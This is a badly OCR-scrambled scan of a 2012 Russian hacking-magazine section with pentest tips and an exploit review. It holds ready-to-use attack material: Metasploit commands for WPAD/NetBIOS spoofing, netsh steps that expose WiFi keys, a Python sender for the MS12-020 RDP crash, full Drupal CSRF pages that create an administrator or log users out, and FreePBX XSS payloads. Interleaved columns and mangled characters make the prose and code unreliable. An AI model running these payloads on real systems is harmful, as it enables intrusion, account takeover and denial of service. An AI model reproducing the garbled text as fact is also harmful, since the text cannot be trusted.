Запрашиваем <<s ite:micгosoft.com >> .
Из ответа получаем поддомены wiпdows.micгosoft.com и www.micгosoft.com .
3.
Повторяем запрос, но уже без найденных доменов :
ваться двумя методами. Самый примитивный- это п еребор по
<<si te:micгosoft .c om -site:wiпdows.micгosoft.com
словарику возможных имен поддоменов. Модули дл я перебора
site:www.micгosoft.com>>.
присутствуют почти во всех известных сканерах (wЗaf , пmар,
MS F). Другой- воспользоваться ха ка ми поисковых машин: 1. В микрософтавеком Biпg 'e есть интересный параметр << ip :>>. Он
2.
Д умаю, ясно, что вручную делать такое бессмысленно, поэто му пентестер под ником
LaNMaSteR5 3 уже автоматизировал дан Domain Тгапsfег !9-QМ.[L
возвращает все домены, которые привязаны к введенному IР
ный процесс в своей тулзе Seaгch Епgiпе
адресу. С помощью него виртуальные хосты нахо д ятся очень
uBAOo). Получился хороший инструмент для сбора поддоменов .
прос т о. Но з д есь кроется о д ин ми н ус- привязка к ко н крет
Но у него есть два минуса. Во-первых, поддомены должны быть
ному IP (ведь не всегда все поддомены сидят на одном и том же адресе) .
проиндексированы. То есть если админ сайта не засветил поддо
В Гугле мы можем воспользоваться интересной техникой для
фильтров в Гугле ограничено числом
поиска поддоменов. Авторство метода за людьми из
поддоменов найти уже трудно . Но таких организаций немного .
SANS
мен в поисковике, то мы его и не найдем . Во-вторых , количество
30,
позтому более тридцати
ip:178.248.232.27 Интерiет
Дополн~1те nьно т
ВСЕ РЕЗУЛЬ-J.ТЫ
Рез;льтат ы .
1 -10 11з 11
Ем!!
Xakep Online > Прикоnьные картинки Сайт журнала сХакер . : самый авторитетный ре су рс рунета . посвященный 11нф орм ационной .. www.xat ep ru/posU1107onpnnt:true Кз ш11р о ванная страница
Кftрстен Прайс теспtрует
воnросам
Microsoft Kinect
Сайт журнала .Хакер . : самый авторитетный ресурс р)-нета , nосвященный воnр о сам информационной ... www.xakep. ru/posU5391Зidefaultasp?print:true
Кзшttрованная странttца
Программы дnя взnома Произошла ошибка
marl(etxakep rUJ\eXUdefaultaspx?ID=311&type:forum
Кэшираванная странtЩа
Wtki Xakep - Wiki Приветствуем тебя в энциклоnедическом разделе сайта Хакер. Наша энциклоnедия является ... Wila.Xakep.ru
КзШ11РОВанная стран11ца
Форумы на Хакер Форум журнала сХаквр . : самый nоnулярный форум для хакеров. взломщиков . администраторов .
marketxakep.ru Ошибка
Кэшираванная страюща
- Wiki
Приносим свои извинения ! В nроцессе обработки Вашего заnроса nроизошла ошибка.
wtla.xakep.ru/Error aspx
Кзшированная странtЩа
Xakep Online - PDA НОВОСТИ gps - cny финr для nреимущества в биржевоt't торговле Всеам ериканская nероnись ботов
pda.xakep.ru
Кэш11рованная страН&ща
JXakёiГo-riiinё-.:-нOгiiёJ Сайт журн ала сХакер . : самый авторитетный ресурс рунета . nосвященный воnросам информац11онной ... Кэшир а ванная страНLща
lotus.xakep.ru ШеХаkер
Сайт журн ала сХакер . : самый авторитетный ресурс рунета. информац11онной ... llfe.xakep.ru/d efaultasp?page=2 Кзшированная страница
Поддо ме н ы м ел ко м яг к и х ! найде ны в
Google для •.microsoft.coml
Поддо ме ны
xakep.ru !най дены
в
посвященный вопросам
Bing'e)
Х АКЕР
052
EPIDEMZ.NET
05/160/2012
EASY
НАСК
ВЫБРАТЬ ЦЕЛЬ ДЛЯ ПЕНТЕСТА
Кристиан Генрих
[Chris tian Heinrich l: goo.gi/Wsb7z. Только помни, ч то
Вот изучаем мы техники <<вз лома», изучаем ... Н о это все теория,
в общем случае политики данны х сайтов не разрешаю т проводить
а ведь чтобы поднимать свое мас т ерст во , надо тр енироваться.
«з лые атаки» [ напри мер, Д оСы и п ерепо лняш киl.
Ко нечн о, лучшее в данном с л учае решение- это всевозможные
тестовые стенды. В Сети ес ть множество образов
LiveC D, предназна
ченных специально для в з лом а, та кже есть всевозможные ко нк урсы
и к весты, где мож н о пр ока чать свои ски ллы . Н о все же э т о не
________ ____ ___ _ ___ -----·--_____ ____ _ ___ _ -·---_ _.---..,-------· ____ __ _ ---=--·-. -------
сколько далеко о т жизни. Если есть желание срази ть ся с реальным
противником, чт о делать? М ож н о, конечно, взять любой сервер/сайт/
............ ..........,. ... .. ----~··~---·-----
ор ганизацию в интернете и попробовать взломать их , но это попахи
вает проблемами с прав оохрани т е льными органами. Иное решение
..,
так их мероприятий: э т от список н е ограничивается Гуглом и Фэйсбу ком. К тому же, в случае успеха авторитетная ссылка в
Ha ll of Fame
.. OO'WA . . . . . . . -
гарантирована, а иногда возможна и ф инан совая выгода. Итак, сей
Generallrostructlona
примеча т е льный список можно взять в благе Д эна Камински 1 9.Q.Qli]L Ndг5 f) . А льтерн атив ный и более ча с т о об н овляемый список д ержит
ИСПОЛЬЗОВАТЬ
.....
.....
----·--DI> .. -··--------· ...... ......""' ................ ..... _.,_..., .... ... ..
- это ломать сайты, которые сами дали разрешение на проведе н ие
Веб-приложение
... --~---·-----
. . . . . _ _ , . ..... _ , _ _ _ _ ._
DVWA специально для тренировки
навыков взлома
0-DAY В WINDOWS 7/2008
ДЛЯ ПОВЫШЕНИЯ ПРИВИЛЕГИЙ
bliJJ..i!t.d ь----
Не так давно IOActive Lab s Reseaгch lioactive.com l на конференции
Black Hat USA 20 11 поделились
с народом своими изысканиями
в области п оиска уязвимастей под
Windows.
Ведь на самом деле для
tmp [здесь???? - э т о рандомные hех-значения l. Этот таинствен ный файл представляе т из себ я библиотеку Microsoft Help Data Services Module, обычно о н а именуется как HXDS.dll. Д а льше данна я библиотека п одгружается о тв ечающим за уста н овку процессом
который, в свою очере дь , имеет пр иви л е гии
поиска многих ба го в н е требуется фаззингили реверс-инжиниринг.
<<msiexec.exe>>,
В се гораздо проще, и чаще всего необходим только лишь дежурный
в сис теме. Яхуууl П о идее, нам ос т ается лишь за п усти ть и н стал
наборсофтаи т ехник от Марка Р усс иновича. Как, например,
ляшку и быстрен ь ко подменить вр еменную dll'кy- к пример у, на
Hijacking, для поиска П ускай DLL Hijacking
которого требуется всего лишь Pг ocess и не даст тебе
code execution
DLL Monitor.
на удаленной
системе, к которой у тебя нет доступа и которая находится за файр
System
наш meteгpгeter [ве дь dll 'кa лежит в папке, для которой у нас ест ь права на запись!, и готово, мы Пр облема в том, что
System. Н о, увы, все н е так пр ос то . <<msiexec .exe>> сравнивает МD5-хеш биб л иоте
валом и вообще отключена и спря та на в сейф. Но ведь это не всегда
ки перед ее загрузкой в память с базой хеш ей , п олуче нны х из <<С:\
необходимо :1.
Windows\lnstalleг\>>. То есть нам н е пр ос то н уж н о б ы стро подменить
Windows
содержит очень большое количество компонентов,
Hx????.tmp
на ядовитую d ll 'кy, а еще и позаботиться о том , чтобы ее
которые д олжны взаимодействовать между собой, а кроме того, мно
МD5-хеш совпал с МD5-хешем ориги на ла. А э то за д ача не из л е г ких .
гие скрытые фи чи т аятся в ее недрах. Не говоря уже о компонен т ах
Однако не все т ак плохо, здесь нам может приго дить ся материал про
и у т илитах сторон н их производителей . О собе нно отечественных. Н о
нахождение МD5-коллизий из апрельского номера жур н ала. Кстати,
об эт ом мы п одиску тир уем как-н ибудь в другой раз. В общем, воору
аналогичная ситуация наблюдается и п ри ус т ановке апдейтов. Здесь
жаемся пр езента ци ей о т
рандомный файл создается в папке
vulneraЬil it y
последок- видео, п о дтв ерж д ающее о пи санный с п особ п одн ятия
Но
IOActive под названием << Easy and quick huntin g in Windows >> lgoo.gl/5hJS41и бегом на поиск дыр. с н а ча ла в ернемся к наш ей задаче. IOActive н а шл и 0-day,
<<C:\wind ows\temp>>. Н у и н а
привилегий [без генерации MD5, конечно ! : goo.g i/Ambxx .
позволяющий поднять свои прив илегии в системе с обычных до системных . Жаль, ч то воспользоваться им может разве ч то Чак Нор
рис
:1. Н о
не буду торопить события. Что же они там изыскали? Итак,
в Win7/2008 есть папка <<C:\Wind ows\ lnstal ler\>>, в ко тор ой хра н ятся уст анов о чны е файлы п од слу ча йными именами от уже установ
л ен н о г о ПО. Когда какой-то пользователь запускает их [например,
Microsoft Office PuЫi sheг MUI 20071, они ав т оматически поднимают свои пр ивилегии для ус т ановки. Н о та к как ПО уже уста н овлено, то и проблемы вроде бы ника кой нет. Д а л ее исследователи обнаружи ли е щ е один интересный факт. В о время запуска и установки такой
инс талляш ки в п а пк е <<C : \Use г s\%use гn ame%\AppData\ L ocai\Temp\>> [то ес ть папка <<Temp>> для запустившего инсталляшку пользова те ля! автома тич ески соз да е т ся в реме нны й файл с именем Нх????.
ХАКЕР
После запуска инсталляшки привилегни поднимаются до
System
053
05/160/2012
EPIDEMZ.NET
ВЗЛОМ 1EASY НАСК
ПОЛУЧИТЬ КЛЮЧ ДЛЯ ПОДКЛЮЧЕНИЯ К WIFI-TOЧKE В ОТКРЬIТОМ ВИДЕ
Давай возьмем среднестатистическую WiFi-тoчкy. Защищена она
WPA2,
и возможные а таки пр о тив н ее- это перебор. Е с ли нам п о
везет, то на ней будет включен
и мы сможем пробрутфорсить
WPS
РIN-код. Н о если не пове зло и там дли нный клю ч , то перебирать
придется очень долго. Н о всегда ли та к уж необходимо и дт и в лоб?
Н ет
:1.
Можно, наприм ер, добрать с я до одного из клиентов данн ой
точки и после е г о взлома продолжить атаку уже н а сам
Wi-Fi.
Но
обо всем по порядку . В
Windows Vista
и выше была подчистую переделана подси
стема беспроводной связи. Сре ди нововведений п оя вил ась такая вещь, как профили бес пр оводных сетей. П ользовате лю стоит один раз подключиться к сетке , ввести РSК-ключик и в се. Д ля следую щи х п о дключений даже не потребуются админские права в ОС. Кроме того, подключения могут выполняться автоматически. Все необходимые д а нны е х ранят ся в самой ОС. Чт о еще интересно, поль з ова т ел ь системы может получить ключ для подключения
к точ к е
1.
Wi-Fi
в открытом виде . Дл я этого потребуется:
Перейти : « Па нель у пра вления
-7
Сеть и Интернет
-7 Управл е ние
бе с проводными сетями » .
2.
Выбрать необ х одимый профиль
3.
<< Безопасно с ть
-7 << Свойства>>. -7 Отобразить вводимые знаки >> .
Воттолько проблема: чтобы уви д еть с имв о лы , нам требуются админские привилегии в ОС , а это совсем не кру т о. Н о постойl Иссле
Экспортируем WiF i ·npoфиль . Внутри- настройки и зашифрованный ключ
дователь Джош уа Райт IJoshua Wгight) написал интереснейший white рарег
<<Vista Wiгeless Роwег Tools fог the P enetгation Tester>> lgoo.g l/k R22x), гд е рассказал пр о в с яче ские вещи, которые могут
помочь п ен т естерам . Одним из трюков явля ется как раз р еше ние
""'...."......_""*...,..._.~~~~
!: · -·WofiJ~II:
~.
. ........
нашей задачи . Пр ичем все происходи т в рамках модели безопасности
~-
Windows. Итак, нам потребуется консо ль и одн а виндавая коман д а netsh. Для начала давай по смотрим, какие пр офи ли WiF i -ceтoк есть в ОС: <<netsh wlan show pгofiles>>. Хоро ш о, но что дальш е? В Windows
~ · ,.._
есть прекрасная возможнос ть экспо рт а/импорта настроек для профи лей. Сделано это для упрощения самого пр оцесса - один раз настро
~~ w.н. ~ ~ О.ЭIЩ
~
....
ив все , мы можем экс п ортировать профил ь, а затем им п ортировать
!:·-
его на оста льны х машинах. Что е ще интереснее, для эти х целей нам
~ · f..,.._'ll\
..
не потребуются а д минские права в ОС. Дал ее выбираем интересую щий нас профиль и экс п ортируем его:
netsh wlan export profile
Получаем ключ oтWi·Fi в отк рытом виде
паmе="интересующий_профиль"
netsh wlan add profile
1
паmе="инте.ресующий_профиль"
Если посмотреть внутрь полученного ХМ L-файла, то мы уви д им,
что он не дает ничего особенного. РSК-ключ за ши фрован АЕS ' ом .
И все . Как толь к о мы достигнем зоны атакуемой WiFi - ceти,
Но Д жошуа не велит ун ыва ть : ведь если мы импортируем данный
наша в инда сама все расшифрует и п о д ключится. Н о та к как
профиль уже в своей ОС, то и расшифровывать нич его не надо
цель- это ключ откры ты м текстом, т о взять е г о можно в т ом же
подключиться можно и так. Для им п орта профиля нам потребуется
месте: <<Безопасность
вве с ти с л е дующую команду в своей ОС :
теперь у нас уже будут админские привилегии.
-7
Отобразить вводимые знаки >>, вот только
ПУСТИТЬ КЛИЕНТА ЧЕРЕЗ ПОДДЕЛЬНЫЙ ПРОКСИ Е сли ты часто используешь Wiгeshaгk !особенно в виндовых В позапрошлом номере я пи сал про такую др евнюю атаку, как
се тя х), то, наверное, замечал некие ш ироковещательные за пр осы
netЬios
о т одних хос т о в в поисках какого-то др у г ого хос та с именем
name spoofing.
Хо ть о н а и давн о всеми забыта, но поюзать ее
еще можно. С одним из с п особов такого использования этой атаки
Е сли нет, то в данном ко нте кс т е
мы с ейчас как раз и познакомимся .
А вообще
WPAD- технология ,
WPAD- это
кото рая расшифровывается как
ХАКЕР
EPIDEMZ.NET
WPAD.
спе ц иальный сервер.
Web
05/160/201 2
EASY
Ргоху
Automatic
Discoveгy, то есть протокол автоматической на
шею
Свойства обозревателя
стройки прокси. Предназначена она для того, чтобы не настраивать
Общие Содержание
прокси на каждом конкретном хаете, таким образом хает автомати ч ес ки получает прокси-сервер. Как понимаешь, здесь-то и появля
1 1
НАСК
Безоnасность 1 Конфиденциальность Подключения [ Программы Доnолнительно
1
ется ч е ловек в маске и подставляет поддельный прокси . Но давай
Для установки nодключения комnьютера
по п о рядку и в подробно с тях.
Во-первых , чтобы технология заработала, в сети должен быть
хает WPAD, у которого на ВО-м порту открыт специально настроен ный веб-сервер . Данный хает должен возвращать dаt-файл с MIME type «applicatioп/x-пs-pгoxy-autocoпfig». Сам файл настроек должен на з ываться wpad.dat. В зто м файле хранятся настройки прокси для
Установить
1
Настройка коммутируемого соединения 11 виртуальных частных сетей
1
б ра уз ера в виде Javascгipt. Например, такие:
function FiпdProxyFqrURL(url, host) { return "PROXY proxy. ex.ampl_e ..сою :8080;
J
к И нтермету щ ел книт е э ту кн оnку.
Добавить...
1
1Добавить VPN... 1 Удалит ь ...
DЦЕСТ'~ ;
J
Щелкните кноnку 'Наст ройка • для настройки nрокси -<:ервера д ля эт ого nод ключ ения .
Зде с ь pгo x y.e x ample . com- зто прокси браузера для всех
@Никогда не исnользовать коммут11руемые nодключения
URL.
Исnользовать при отсутстви11 подключен11я к сети
Чтобы найти WPAD-cepвep, можно использовать соответствую
Bcer да
щ ую з апись и DHCP ответа , а также можно поискать по имени IDNS, WINS, NBNS, hosts, lmhosts) . Учтем , что данная последова т е льность выстроена по приоритету. Кстати, при поиске сервера
wpad . То
Отсутствует
Настройка параметров локальной сети
п о DNS-имени происходит интересная ситуация. Хает, взяв свое
Параметры локальной сети не nрименяются для nо~ ключений удаленного д ост уnа . Для
доменное имя , по очереди отнимает поддомен и заменяет его
на
исnользовать nринятое по ум олчанию подключение
Уr·юлчание:
есть, например , для хоста с им е нем « pc . depaгtmeпt.
bгaпch.e x ample.com>> поиск конфигурационного файла будет про
1Настройка сети 1
Настройка nараметров локальной сети
и сх одить с лед у ющим образом:
Автоматическая настройка
http :/ / wpad. departmen_t . branch ._example. com/ wpad. dat http : //wpad . branch. exampJe. c.om/wpad. 9at http : 1/ wpad . example ._com/wpad. dat http_;/ /wpad. com/wpad. _dat Здесь небольшая оговорка:
о • ~n ~н ую nараметры, ючите аМiатическую настроику. ........,...
втоматическое оnределение nараметров j
сnользовать сиенарий автоматической ~йки
~М~ А~, ~~-------~-----~
URL wpad .com/wpad.dat запраши
ваться не б удет, поиск остановится на предыдущем поддомене
lмелкомягкие выпустили соответствующий патч). Но это касается только зоны
.com.
Прокси-<:ервер
Что это дает? Если зарегистрировать такой поддо
[] Исnользовать nрокси -<:ервер для локальных nодключений (не nрименяется для коммутируемых или VРN -flодключений) .
мен , а также если в атакуемой организации не используется прокси,
то пользователи этой организации придут за прокси к нам. Теперь о поддержке.
WPAD
Адрес:
поддерживается всеми основными браузерами,
причем Chгome и Safaгi используют настройки из
IE.
-
Находятся они
127.0.0.1
Порт: ~ U!_оnолмительно]
Не исnользовать nрока1-<:ервер для локальных адресов
по следующему пути:
1. 2.
<< Меню Сервис << Подключения
-7 Свойства обозревателя>> . -7 Настройки сети -7 Автоматическое
_о_ к _l
определе
Ll
1 Отмена 1
ние пара метров >>.
Также инт \! ресным является и тот факт, что галка <<Автоматиче
Включаем
WPAD для Windows
с кое определение параметров >> стоит по умолчанию у всех популяр
ных версий винды [ х отя эта информация и не до конца проверена).
MSF перегр у жен
То есть по дефопту многие пользователи работают при включенном
и с поль з овать настоящий веб-сервер.
WPAD'e, причем без проблем [пока WPAD не найден, используется
другим функционалом, так что куда правильнее
Далее запускаем NеtВIОS-спуфинг и ждем жертв :
прямое соединение), что существенно увеличивает вероятность #Загружаем ~одуль для _ NеtВ~ОS-спуфинга
проведения атаки.
Если же мы находимся в той же с ети, то подделать ра з личными способами : это и атаки на
DHCP, и
WPAD
можно
use
auxiliary/ spoof/nbns/пьns_respoпse _
DNS-спуфин г. Но
самым тихим и не требующим агр-спуфинга методом является NеtВiоs-спуфинг. Как уже было сказано выше, в какой-то момент
# Выставляем реге~сп, Set REGEX *wpad*
на к.акие запросьt_ отве<Jать
х ает клиента прибегает к широковещательным NetBIOS-зaпpocaм на поиск
#
потребуется
set _spoofip hacker.ip.adqress
для
WPAD, чем мы и можем воспользоваться . Для практики нам MSF. Настраиваем WPAD-cepвep путем загрузки модуля эмуляции WPAD и его последующего запуска:
# use run
а_щiЦ<!rу /secver/ capture/http
Ук.азыеаем_, _ какой .IР-адр~с
nодставпя ть
Запу_скаем_
ПJП
Более подробную информацию о связанных с WPAD атака х мож Нельзя не упомянуть, что помимо эмуляции
ХАКЕР
WPAD
этот модуль
но почерпнуть у Сергея Рублева lgoo.gi/Cvq ixl. :Х:
055
05/160/201 2
EPIDEMZ.NET
:
nа вел Александрович [ivinside.Ыogspot.coml
ВЗЛОМ/ОБЗОРЭКСПЛОЙТОВ
Дмитрий Михайлович
[115612, дер. Красная звездочка, д. 11
Александр Матросов,
Senior malware researcher,
ЕSЕТ
-Вы готовы, дети? -Да, Капитан! -Я не слышу! -Так точно, Капитан!!!
Обзор эксплоитов 1
MS12-020: разведение RDР-червей
IWinXP/20031 и была замечена в том же драйвере rdpwd.sys, в котором была найдена CVE-2012-0002 . Эти изменения можно
CVSSV2
9.3
11111 111 11 11 111 111
11 IAV: N/АС : М/ AU: N/C :С/1: С/A:CI
[]Ш
отследить по временным меткам в гdpwd.sys до и после nатча,
а также в официальных списках изменений для
MS12-020.
MS11-065
и для
Собственно, после патча основные изменения на
блюдаются в функции HandleAttachUseгReqll . Пр и сравнении ис правленного драйвера и драйвера до патча можно заметить, что
В первый вторник марта
Microsoft
выпустила очередную порцию
изменений было произведено не так уж и много. А при использо
патчей, и, казалось бы, все уже привыкли к этому и ничего nри
вании
мечательного в этом событии не т. Исследователи, как обычно,
Видно, что добавлена дополнительная проверка и освобождение
расчехлят
IDA Рго и BinDiff/PatchDiff и будут искать интересные
нюансы уже закрытых уязви мастей. Но этот вторник отличало от
BinDiff
это довольно наглядно отображено в виде графа.
памяти при помощи ExFreePooiWithTagll. Что же именно было добавлено?
множества других то, что среди исправленных уязвимастей был магический бюллетень под номером
MS12-020.
Именно эта по
следовательность символов на несколько недель стала святым
Граалем для ресечеров со всего мира, а критический статус лишь придал пикантности этой ак т ивности.
m!m
Почему же все так засуетились? Ответ довольно прост: этот
бюллетень закрывает целых две уязвимости RDР-клиента, а одна из них потенциально позволяет выполнить произвольный
код на удален н ой системе при помощи специально сформиро ванного RDP-naкeтa . Н у и вдогонку: данной напасти подвержены все актуальные версии
MS Windows, в том числе и 64-битные MS12-020 было закрыто две уязвимо сти: CVE-2012-0002IRC E в RDPI и CVE-2012-0152IDoS в Teгminal
~ --· ·~··
версии. В рамках патча
Seгveгl. Нас больше интересует первая , так как она потенциаль но гораздо опаснее и может повлечь за собой появление сетевых
червей, которые будут ее активно экс плуатировать !на данный момент о случаях ее использования во вредоносных программах
нам неизвестно]. Кстати, относительно недавно уже закрывалась уязвимость
МS11-065Iавгуст
2011-rol, которая позволяла осуществлять DoS
Добавлена дополнительная проверка и вызов ExFreePooiWithTag(J
ХАКЕР
056
EPIDEMZ.NET
05/160/2012
Обзор эксплойтов
HandleAttachUserReqll после nатча
На nd leAttach UserReq 11 до патча
RDP-naкeт, который, в свою очередь, устроит вам незабываемое
Был добавлен код на получение нулевого указателя и в случае этого безопасный выход и очистка пула памяти. Но, есте
свидание с синим экраном . Если есть заранее подготовленные
ственно, всех, кто копал эту уязвимость, интересовал лишь один
данные для отправки, то несложный скрипт на питоне поможет
вопрос- насколько реально сделать эксплойт с удаленным вы
нам закончить начатое:
полнением кода. Chaouki Веkгаг !генеральный директор VUPEN] сказал по этому поводу в своем твиттере: << Написание удаленно
impor:t socket .
го эксплойта для MS12-020/RDP для Wiп7- однозначно вызов для Чака Норриса или Стивена Сигала». Основная проблема в
f = open( '.P<!cket. bin' ,
том, что в данном случае написать стабильный эксплойт крайне
packet = f, c1ose .
сложно из-за особенностей обработки RDР-пакета внутри уяз вимого драйвера. Вообще, сам протокол
RDP
имеет чрезвычайно
не простую структуру. В итоге максимум, что удалось выжать на данный момент многочисленным исследователям этой уязвимо сти,- это
DoS
в уязвимом драйвере.
Эксплуатируется уязвимость довольно просто: нужно послать
на порт, на котором висит
RDP,
'r' )
f,re~d()
s = sщ)<et. socket( socket .. AF_I.NET, .s.ocket. SQCK_STREAМ) s , con[lect( { "%TARGET_IP _ADDRES.S%" , 3389 )) s .. sell!J.(P.acket) .... 9.<!t<!.. = s. recv<41:!96 )
специально сформированный
Луиджи Аурьемма
ILuigi Auгiemma] был первым человеком,
который нашел эту уязвимость и отправил ее в ZDIIZDI-12044]. Такого рода уязвимости вызывают всегда очень большой интерес общественности и исследователей:
RDP
используется в
любой корпоративной сети, а появление подобного червя могло бы вызвать эффект, очень близкий по своим масштабам к произ веденному нашумевшим червем Confickeг. Конечно, нельзя быть абсолютно уверенными, что невозможно создать RСЕ-эксплойт. Но в данном случае для написания рабочего зксплойта тре буется масса усилий, которые явно не будут компенсированы финансово дальнейшей продажей 1dау-эксплойта. Для целена правленных атак он уже не интересен, для публичных эксплойт фреймворков слишком трудозатратен, а для наборов эксплойтов слишком дорог.
if.1;1дjfj Все актуальные версии
Windows.
f.i•J!Iiii•ЦI Установить патч
MS12-020.
DoS в уязвимом драйвере
ХАКЕР
057
05 / 160/2012
EPIDEMZ.NET
ВЗЛОМ/ОБЗОРЭКСПЛОЙТОВ
2
Множественные CSRF в
Drupal CMS
Ну и последнее- Dгupal не проверяет значения параметра
CVSSV2
6.5
11111 11111 111 11 1111 l:!i1IП
Dгupal ~заслуженный ветеран на рынке систем управления кон2000 года. За это время он
тентом: проект развивается с далекого
претерпел значительные изменения, сейчас его исходникивесят
11 мегабайт. Было ясно, что в таком количестве кода рано
или поздно найдутся баги. Сегодня я опишу несколько уязвима стей, найденных исследователем
Эксплойт для добавления администратора выглядит следую щим образом:
11 111 IAV: N/АС: L/AU :5/С: Р/1: Р/ А: Pl
более
<<http
геfегег», делая возможным реали зацию вышеописанных атак.
lvano Binetti, которые позволяют
получить доступ к административному интерфейсу этой CMS.
н+:tЦ!e]ii Чтобы обезопасить изменения, вносимые администраторами или пользователями через административный интерфейс, Dгupal использует параметр foгm_tokeп, который передается в каждом
POST- запросе к серверу. Уязвимость присутствует в коде, отве чающем за генерацию этого самого токе на для родственных опе
раций в рамках одной сессии. При этом генерируется одно и то же значение параметра foгm_id. Примерам такой ситуации может слу жить создание новой ста тьи через административный интерфейс . Другой ба г находится внутри параметра foгm_buid_id, который используется для запроса статуса в процессенекоторых операций.
Этот параметр генерируется заново при каждой новой операции администратора или поль зова теля, но Dгupal допускает исполь
зование любого ранее сгенерированного идентификатора !вроде та кого: foгm-Oi Fq LlofТ1 uuJ _uwXPNdVIc_J9KL20oZE15d K9hxuQBJ, при этом действие в админке выпо лнит ся без каких-либо проблем. Эти недо с татки могут быть использованы атакующим, который знае т значения параметров foгm_buid_id и foгm_token. Напри-
мер, внутренний злоумышленник, реализующий атаку Мап in The Middle, или внешний атакующий, получивший дост у п к компьютеру
легитимного пользователя /а дминистратора. Ба г может бы ть ис
<html> <body onload= "javascript:document.forms[e].submit()" > . <H2 >CS RF Exploit change user to admin </H2> <form method= "POST" name= "forme" action= "http://<drupal_ip>:88/drupal/admin/people/create? render=overlay&render=overlay" > <input type= "hidden" name= "name" value= "new_admin " /> <input type= "hidden" name= "mail" value= "new_admin@new_admin.com" /> <input type= "hidden" name= "pass[passl]" value= "new_password" /> <i nput type= "hidden" name= "pass[pass2]" value= "new_password " /> <input type= "hidden" name= "status" value= "l " /> <input type= "hidden" name= "roles[З]" value= "З" /> <input type= "hidden" name= "timezone" value= "Europe/Prague" /> <input type= "hidden" name= "form_build_id" value= "form-oUkbOYDjyZag-LhYFHvlPXМlrJzOHCjlHojoh_hSЗpY" />
<input type= "h idden" name= "form_token" value= "cU7nmlpWu-a4UKGFDBcVjE utgvoEidfK1Zgw8HFAtXc" /> <input type= "hidden" name= "form_id" value= "user_register_form" /> <input type= "hidden" name= "op" value= "Create new account" /> </ form > </ body > </html> Для логаута пользователя из системы:
пользован для созда ния специальной веб-страницы, при заходе на которую автоматически могут произойти абсолютно любые измене
ния в Dгupal: добавление /удаление администратора, добавление/ удаление веб-страниц- все за висит от намерений злоумышле н ника . Кроме вышеописанной баги существуют еще несколько кося ков, также связанных с недостаточной проверкой сессии. Один из
ни х находится в <dгupal_ip>/useг/logout и позволяет атакующему создать специальную веб-страницу, зайдя на которую администра
тор !или пользователь! автоматически выйдет из Dгupal . Эта стра
<html > <body onload= "javascript:document.forms[e].submit()" > <H2>CSRF Exploit to logout Admin</H2> <form method= "POST" name= "forme" action= "http://<drupal_ip>:88/drupal/user/logout" > </ form > </ body > </ html >
ница может быть использована для перехвата польз овательских реквизитов при реализации атаки Мап iп
The Middle . Кроме того, GET или POST, поэтому
Dгupal н ~ проверяет, разрешены ли методы
предыдуЩую атаку можно проделать и через РОSТ-запр ос.
Dгupa l
7.12 и более ранние версии .
От разработчиков исправлений пока не поступало, рекомендуется обезопасить трафик при помощи ствующее
З
HTTPS и использовать соответ API для защиты от XSS.
Множественные уязвимости в
FreePBX
CVSSV2 1
15
111111 1111 111 11 11111
1111 IAV: N/AC:L/Au:N/C: Р/1 :Р/А : Р]
i'
l:!i1IП
Fг ееРВХ-это веб-интерфейсдля конфигурации компьютерной
1
t_____________________________ _
телефонии Asteгisk, который является довольно распространенным
решением !около 500 000 активных устройств по всему миру] , Часть э ти х систем имеет внешние IР-адреса, что треб ует дополнительного Схема работы эксплойта на
cve-2010-0248
внимания к безопасности системы. Однако в сере дин е марта иссле-
ХАКЕР
058
EPIDEMZ.NET
05/160/2012
Обзор зксплойтов
.text:6399A320 loc . text :6399A320 .text :6399A323 . text :6399A325 .text:6399A32B .text :6399A32E .text:6399A331 .text :6399A337 .text:6399A33A
6399АЗ20 :
mov cmp jz mov cmp jge mov cmp jz mov
еах,
еах,
loc
[esi+OCh] edi 6399АЗЕ8
[esi+4] [eax+54h]
есх, есх,
loc
Здесь :
• HOST- хост, на котором на ходи т ся Fг ееРВХ; • РНОNЕNUМВЕR-телефонный н омер; • СМ О- кама ндадля выnолнения .
6399АЗЕ8
cmp mov jl
[eaX+SBh] edi shoгt loc 6399А350 есх, [ecx+4J есх, 2 [esi+l8h], есх [еЬр+Vаг _ 4], 1 shoгt loc 6399АЗSЗ
mov
[еЬр+vаг _ 4],
mov push mov
есх,
еЬх,
it·1tldjf1
. text : 6399AЗSA
shг
еЬх,
FгееРВХ
. text : б399AЗSD .text:6399AЗSF
cmp jl
. tехt:б399АЗЗС . tехt:б399АЗЗЕ
.text:6399A341 .text:6399A344 .text :6399A347 .text:6399A34E
shг
есх,
есх,
.text:6399AЗSO . text:6399AЗSO
loc
6399АЗ50 :
.text:6399AЗSO
. text:6399A353 .text:6399A353 loc .text :6399A353 .text:6399A356 .text :6399A357
edi
6399АЗSЗ:
[esi+lOh]
еЬх
[eax+40h] 2 есх, edi shoгt loc 6399АЗ80
Стоит отме т и ть , что уже существует мо д уль к
Metasploit, что у nр о XSS существуют
щает эксnлуатацию данной баги. Уязвимости тиnа в
FreePBX 2.9.0 и, возможно , в более ранних, вот nримеры
их экс
nлуатации:
[HOST]/panel/ index_amp.php?context=[XSS] [HOST]/panel/ fiash/mypage.php?clid=[XSS] [HOST] / panel/ fiash/mypage.php?clidname=[base64_encode(XSS)] [HOST]/panel/ dhtml/index.php?context=/ .. /%ee"> [XSS] [HOST] /ad min /views/freepbx_reload .php/ "</script >[XSS ] [HOST]/recordings/index.php?login='>[XSS] 2.1 0.0, 2.9.0 и,
возможно, более ранние версии.
f1•1!1iji•H* Авторуязвимостейнеразсвязывалсясвендором,nре до ставлял
[еснеdх*4] или [еанесх *4] возможно уже под колпаком
детальное описание проблем и дажепатчик ним. Но пр оизводитель так и не выпустил обновлений, закрывающихданные баги. Позтому
до ватель Maгtin Tschiгsich обнаружил там очень досадные баги, в их числе
XSS и удаленное выnолнение кода.
IJ34!•1ii Выnолнение nроизвольнаго ко да возможно в данном случае из-за недостаточной фильтрац·ии n ере д аваемых nользователем данных
в скриn т е htdocs/гecoгdings/misc/callme _page.php :
/1
в ито ге было принято решение выложить их в паблик- возможно, это как-то мотивирует венд ора.
MS10-002 Уязвимость типа use-after-free в lnternet Explorer
'
CVSSV2 11111 1111 11 111 1 11111
9.3 111 [AV:N/AC: M/Au:N/C:C/1 :[/A:C]
строки 28-Зе:
$to $_REQUEST[ 'callmenum' ] ; // v ulneraЬle $msgFrom $_REQUEST[ 'msgFrom' ]; $new_path substr($path, е , -4); // строка 38: $call_status = callme_startcall($to, $msgFrom, $new_path);
1ШIШ
В марте на всем известном соревновании Рwп20wп в одном из за-
даний фигурировала уязвимос ть
году Питером Врегденхилом
